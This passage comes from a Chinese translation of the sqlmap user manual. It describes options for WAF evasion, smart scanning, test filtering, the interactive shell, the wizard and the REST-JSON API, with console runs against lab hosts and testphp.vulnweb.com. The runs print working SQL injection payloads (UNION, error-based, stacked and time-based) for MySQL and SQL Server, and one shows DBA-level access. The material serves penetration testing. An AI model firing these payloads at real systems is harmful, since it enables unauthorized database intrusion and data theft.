er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
rge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord
er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
unt/PyMySQL/
[xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o
rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
ceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or
der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
sycopg/
[xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde
r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
p/ibm-db/
[xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-pa
rty library in order to directly connect to the DBMS HSQLDB. Download from https
://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde
r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
googlecode.com/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
mssql.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
an to attack a web application behind NTLM authentication. Download from http://
code.google.com/p/python-ntlm/
[xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y
ou plan to attack a web application using WebSocket. Download from https://pypi.
python.org/pypi/websocket-client/

禁用控制台输出着色

开关:--disable-coloring

默认情况下,sqlmap 输出到控制台时使用着色。你可以使用此开关禁用控制台输出着色,以避免不期望的效果(例如:控制台中未解析的 ANSI 代码着色效果,像 \x01\x1b[0;32m\x02[INFO])。

使用特定页码的 Google dork 结果

选项:--gpage

默认情况下,使用选项 -g 时,sqlmap 会使用 Google 搜索得到的前 100 个 URLs 进行进一步的 SQL 注入测试。结合此选项,你可以使用它(--gpage)指定除第一页以外的页面以检索目标 URLs。

使用 HTTP 参数污染

开关:--hpp

HTTP 参数污染(HPP)是一种绕过 WAF/IPS 防护机制(这里 有相关介绍)的方法,对 ASP/IIS 和 ASP.NET/IIS 平台尤其有效。如果你怀疑目标使用了这种防护机制,可以尝试使用此开关以绕过它。

跳过启发式检测 WAF/IPS 防护

开关:--skip-waf

默认情况下,sqlmap 自动在一个启动请求中发送一个虚假的参数值,其中包含一个有意“可疑”的 SQL 注入 payload(例如:...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1)。如果目标响应与原始请求响应不同,那么它很可能存在防护机制。

sqlmap 会自动尝试识别后端 WAF/IPS 防护(如果有),以便用户执行后续对应步骤 (例如:通过选项 --tamper 使用篡改脚本)。目前大约支持 80 种不同的产品 (例如:Airlock,Barracuda WAF 等)。如果有任何问题,用户可以使用开关 --skip-waf 来禁用此机制。

伪装智能手机

开关:--mobile

有时 Web 服务器向手机提供的是不同于电脑的接口。在这种情况下,你可以强制使用预定义好的智能手机 HTTP User-Agent 头部值。使用此开关,sqlmap 将询问你选择一种流行的智能手机,它将在当前运行中进行伪装。

运行示例:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

离线工作模式(仅使用会话数据)

开关:--offline

使用开关 --offline,sqlmap 在数据枚举中将仅使用上一个会话的数据。这基本上意味着在这样的运行过程中是零连接尝试的。

安全地删除 data 目录中所有内容

开关:--purge

如果用户决定要安全地删除 sqlmap data 目录(例如 $HOME/.local/share/sqlmap)中的所有内容,包括之前 sqlmap 运行过的所有目标详细信息,可以使用开关 --purge。在清除时,data 目录中的(子)目录中的所有文件将被随机数据覆盖、截断和被重命名为随意名,(子)目录也将被重命名为随意名,最后整个目录树将被删除。

运行示例:

$ python sqlmap.py --purge -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/testuser/.local/share/sqlmap'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]

只在使用启发式检测时才进行彻底的测试

开关:--smart

某些情况下,用户拥有大量潜在目标 URL(例如:使用选项 -m)列表,同时想要尽快找到易受攻击的目标。如果使用了开关 --smart,则只有能引发 DBMS 错误的参数会在进一步的扫描中被使用。否则会被跳过。

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&use\
r=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' migh
t not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable [xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable [xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in jectable
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
[...]

根据 payloads 和/或标题选择(或跳过)测试

选项:--test-filter

如果你想根据 payloads 和/或标题过滤测试,可以使用此选项。例如,要测试所有包含 ROW 关键字的 payloads,可以使用 --test-filter=ROW

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\
atch --test-filter=ROW
[...]
[xx:xx:39] [INFO] GET parameter 'id' is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id'
[xx:xx:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
'
[xx:xx:39] [INFO] GET parameter 'id' is 'MySQL >= 4.1 AND error-based - WHERE or
 HAVING clause' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
T (C
    ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
M (S
    ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY x)
---
[...]

选项:--test-skip=TEST

如果你想根据 payloads 和/或标题跳过测试,可以使用此选项。例如,想要跳过包含 BENCHMARK 关键字的 payloads,可以使用 --test-skip=BENCHMARK

交互式 sqlmap shell

开关:--shell

使用开关 --shell,用户可以获取交互式 sqlmap shell,它包含所有先前运行的历史记录,包括使用过的选项和/或开关:

$ python sqlmap.py --shell
sqlmap > -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\
BEU --batch
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:11

[xx:xx:11] [INFO] testing connection to the target URL
[xx:xx:12] [INFO] testing if the target URL is stable
[xx:xx:13] [INFO] target URL is stable
[xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might
 be injectable (possible DBMS: 'MySQL')
[xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
XP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
IGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX
ML)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[xx:xx:15] [INFO] target URL appears to have 3 columns in query
[xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2
0 columns' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if
 any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
quests:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:16] [INFO] testing MySQL
[xx:xx:16] [INFO] confirming MySQL
[xx:xx:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0
[xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com'
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:25

[xx:xx:26] [INFO] resuming back-end DBMS 'mysql'
[xx:xx:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:26] [INFO] the back-end DBMS is MySQL
[xx:xx:26] [INFO] fetching banner
web application technology: Nginx, PHP 5.3.10
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner:    '5.1.73-0ubuntu0.10.04.1'
[xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlmap/output/testphp.vulnweb.com'
sqlmap-shell> exit

适合初学者使用的向导界面

开关:--wizard

sqlmap 为初学者提供了一个向导界面,它使用包含尽可能少的问题的简单工作流。如果用户输入目标 URL 并使用了默认设置(例如:按 Enter),则应该在工作流结束时正确设置 sqlmap 运行环境。

针对 Microsoft SQL Server 目标的示例:

$ python sqlmap.py --wizard

    sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in
t.asp?id=1
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2986=2986

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1
00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+
CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)--

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id=1; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=1 WAITFOR DELAY '0:0:5'--

    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT
(CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR
(109)+CHAR(113)+CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
    Oct 14 2005 00:33:37
    Copyright (c) 1988-2005 Microsoft Corporation
    Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user:    'sa'
current database:    'testdb'
current user is DBA:    True

[*] shutting down at xx:xx:52

API(REST-JSON)

译自:API (REST-JSON)

sqlmap 可以通过 REST-JSON API 运行,即使用 JSON 格式的 REST(REpresentational State Transfer 的缩写)风格的 API 来进行服务器和客户端实例之间的通信。直白地讲,服务器使用 sqlmap 进行扫描,而客户端设置 sqlmap 选项/开关并将结果拉取回来。用于运行 API 的主程序文件是 sqlmapapi.py,而客户端可以在任意用户程序中进行实现。

$ python sqlmapapi.py -hh
Usage: sqlmapapi.py [options]

Options:
  -h, --help            show this help message and exit
  -s, --server          Act as a REST-JSON API server
  -c, --client          Act as a REST-JSON API client
  -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1")
  -p PORT, --port=PORT  Port of the the REST-JSON API server (default 8775)
  --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref")

通过使用开关 -s 运行 sqlmapapi.py 启用服务器,使用开关 -c 启用客户端,在这两种情况下,用户可以(可选)使用选项 -H(默认为 "127.0.0.1")和选项 -p(默认为 8775)设置监听的 IP 地址和端口。每个客户端的“会话”可以有多个“任务”(例如:运行 sqlmap 扫描),用户可以任意选择某个任务处于当前活动状态。

客户端命令行界面可用的命令有:

  • help——显示可用命令列表以及基本的帮助信息
  • new ARGS——使用提供的参数开始一次新的扫描任务(例如:new -u "http://testphp.vulnweb.com/artists.php?artist=1"
  • use TASKID——切换当前上下文到不同任务(例如:use c04d8c5c7582efb4
  • data——获取并显示当前任务的数据
  • log– 获取并显示当前任务日志
  • status——获取并显示当前任务状态
  • stop——停止当前任务
  • kill——杀死当前任务
  • list——显示所有任务(当前会话)
  • flush——清空所有任务(例如:deletes)
  • exit——退出客户端界面

运行服务器的示例:

$ python sqlmapapi.py -s -H "0.0.0.0"
[12:47:51] [INFO] Running REST-JSON API server at '0.0.0.0:8775'..
[12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881
[12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd
[12:47:51] [DEBUG] REST-JSON API server connected to IPC database
[12:47:51] [DEBUG] Using adapter 'wsgiref' to run bottle
[12:48:10] [DEBUG] Created new task: 'a42ddaef02e976f0'
[12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan
[12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages
[12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages

运行客户端的示例:

$ python sqlmapapi.py -c -H "192.168.110.1"
[12:47:53] [DEBUG] Example client access from command line:
    $ taskid=$(curl http://192.168.110.1:8775/task/new 2>1 | grep -o -I '[a-f0-9
]\{16\}') && echo $taskid
    $ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testp
hp.vulnweb.com/artists.php?artist=1"}' http://192.168.110.1:8775/scan/$taskid/st
art
    $ curl http://192.168.110.1:8775/scan/$taskid/data
    $ curl http://192.168.110.1:8775/scan/$taskid/log
[12:47:53] [INFO] Starting REST-JSON API client to 'http://192.168.110.1:8775'..
.
[12:47:53] [DEBUG] Calling http://192.168.110.1:8775
[12:47:53] [INFO] Type 'help' or '?' for list of available commands
api> ?
help        Show this help message
new ARGS    Start a new scan task with provided arguments (e.g. 'new -u "http://
testphp.vulnweb.com/artists.php?artist=1"')
use TASKID  Switch current context to different task (e.g. 'use c04d8c5c7582efb4
')
data        Retrieve and show data for current task
log         Retrieve and show log for current task
status      Retrieve and show status for current task
stop        Stop current task
kill        Kill current task
list        Display all tasks
flush       Flush tasks (delete all tasks)
exit        Exit this client
api> new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s
ession
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new
[12:48:10] [INFO] New task ID is 'a42ddaef02e976f0'
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start
[12:48:10] [INFO] Scanning started
api (a42ddaef02e976f0)> status
[12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "running",
    "returncode": null,
    "success": true
}
api (a42ddaef02e976f0)> status
[12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "terminated",
    "returncode": 0,
    "success": true
}
api (a42ddaef02e976f0)> log
[12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log
{
    "log": [
        {
            "message": "flushing session file",
            "level": "INFO",
            "time": "12:48:10"
        },
        {
            "message": "testing connection to the target URL",
            "level": "INFO",
            "time": "12:48:10"
        },
        {
            "message": "checking if the target is protected by some kind of WAF/
IPS",
            "level": "INFO",
            "time": "12:48:10"
        },
        {
            "message": "testing if the target URL is stable",
            "level": "INFO",
            "time": "12:48:10"
        },
        {
            "message": "target URL is stable",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "testing if GET parameter 'artist' is dynamic",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "confirming that GET parameter 'artist' is dynamic",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "GET parameter 'artist' is dynamic",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "heuristic (basic) test shows that GET parameter 'artist'
 might be injectable (possible DBMS: 'MySQL')",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "testing for SQL injection on GET parameter 'artist'",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "testing 'AND boolean-based blind - WHERE or HAVING claus
e'",
            "level": "INFO",
            "time": "12:48:11"
        },
        {
            "message": "GET parameter 'artist' appears to be 'AND boolean-based
blind - WHERE or HAVING clause' injectable (with --string=\"hac\")",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (BIGINT UNSIGNED)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (BIGINT UNSIGNED)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXP)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (EXP)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING,
 ORDER BY or GROUP BY clause (JSON_KEYS)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING c
lause (JSON_KEYS)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (FLOOR)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXTRACTVALUE)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (EXTRACTVALUE)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (UPDATEXML)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (UPDATEXML)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING cla
use (FLOOR)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL OR error-based - WHERE or HAVING clause (
FLOOR)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (E
XTRACTVALUE)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (B
IGINT UNSIGNED)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (E
XP)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.7.8 error-based - Parameter replace
(JSON_KEYS)'",
            "level": "INFO",
            "time": "12:48:12"
        },
        {
            "message": "testing 'MySQL >= 5.0 error-based - Parameter replace (F
LOOR)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (U
PDATEXML)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (E
XTRACTVALUE)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL inline queries'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (comment)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP - c
omment)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query - c
omment)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query)'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "testing 'MySQL >= 5.0.12 AND time-based blind'",
            "level": "INFO",
            "time": "12:48:13"
        },
        {
            "message": "GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AN
D time-based blind' injectable ",
            "level": "INFO",
            "time": "12:48:23"
        },
        {
